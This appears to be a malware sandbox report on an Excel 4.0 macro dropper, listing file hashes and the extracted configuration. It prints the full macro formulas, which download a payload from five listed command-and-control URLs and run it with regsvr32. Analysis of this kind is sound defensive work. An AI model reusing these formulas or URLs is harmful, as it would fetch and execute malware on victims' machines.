General

  • Target

    42fc615b7bf34ba3840d063992e9fe0062a5bcc1ca54600fc6a202ce8291f367

  • Size

    69KB

  • Sample

    241120-gjwcfatajp

  • MD5

    8dfec15cae9a94acc51caacaed916b9b

  • SHA1

    a8ac9ed45355dae5e2ac9956d59931bdb8ce50ae

  • SHA256

    42fc615b7bf34ba3840d063992e9fe0062a5bcc1ca54600fc6a202ce8291f367

  • SHA512

    d47fafcd7b1d61f4d126f3e520201bbb7764afa335aa9316a6b16ca8187406b7939be8df1fa3e3c6758fbedf1a7663f53316df50f97e05faa91c50c34dcbed2e

  • SSDEEP

    1536:Bp0b/XHTWhxndhjh/VwBpSZobSex7jB0FfuZibVyg:gzWhxHjh88ZoH7juFuZiQg

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://vasilestudio.com/wp-admin/pZ1vbd5Z/

https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/

https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/

https://triclicks.net/wp-admin/bv/

https://thecanadianarab.com/wp-content/VJ/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://vasilestudio.com/wp-admin/pZ1vbd5Z/","..\aua.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://triclicks.net/wp-admin/bv/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thecanadianarab.com/wp-content/VJ/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aua.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://vasilestudio.com/wp-admin/pZ1vbd5Z/

xlm40.dropper

https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/

xlm40.dropper

https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/

xlm40.dropper

https://triclicks.net/wp-admin/bv/

xlm40.dropper

https://thecanadianarab.com/wp-content/VJ/

Targets

    • Target

      42fc615b7bf34ba3840d063992e9fe0062a5bcc1ca54600fc6a202ce8291f367

    • Size

      69KB

    • MD5

      8dfec15cae9a94acc51caacaed916b9b

    • SHA1

      a8ac9ed45355dae5e2ac9956d59931bdb8ce50ae

    • SHA256

      42fc615b7bf34ba3840d063992e9fe0062a5bcc1ca54600fc6a202ce8291f367

    • SHA512

      d47fafcd7b1d61f4d126f3e520201bbb7764afa335aa9316a6b16ca8187406b7939be8df1fa3e3c6758fbedf1a7663f53316df50f97e05faa91c50c34dcbed2e

    • SSDEEP

      1536:Bp0b/XHTWhxndhjh/VwBpSZobSex7jB0FfuZibVyg:gzWhxHjh88ZoH7juFuZiQg

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks